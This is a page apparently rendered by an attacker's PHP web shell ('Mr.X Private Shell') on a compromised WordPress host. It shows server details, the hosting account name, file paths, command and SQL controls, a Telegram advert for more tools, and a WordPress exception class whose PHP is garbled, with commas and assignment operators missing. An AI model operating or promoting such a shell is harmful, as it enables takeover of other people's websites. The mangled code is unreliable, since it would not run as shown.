Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old///////wp-includes/Requests/      ( Reset | Go to )
File Name: Exception.php
Edit
<?php
/**
 * Exception for HTTP requests
 *
 * @package Requests
 */

/**
 * Exception for HTTP requests
 *
 * @package Requests
 */
class Requests_Exception extends Exception {
    
/**
     * Type of exception
     *
     * @var string
     */
    
protected $type;

    
/**
     * Data associated with the exception
     *
     * @var mixed
     */
    
protected $data;

    
/**
     * Create a new exception
     *
     * @param string $message Exception message
     * @param string $type Exception type
     * @param mixed $data Associated data
     * @param integer $code Exception numerical code, if applicable
     */
    
public function __construct($message$type$data null$code 0) {
        
parent::__construct($message$code);

        
$this->type $type;
        
$this->data $data;
    }

    
/**
     * Like {@see getCode()}, but a string code.
     *
     * @codeCoverageIgnore
     * @return string
     */
    
public function getType() {
        return 
$this->type;
    }

    
/**
     * Gives any relevant data
     *
     * @codeCoverageIgnore
     * @return mixed
     */
    
public function getData() {
        return 
$this->data;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL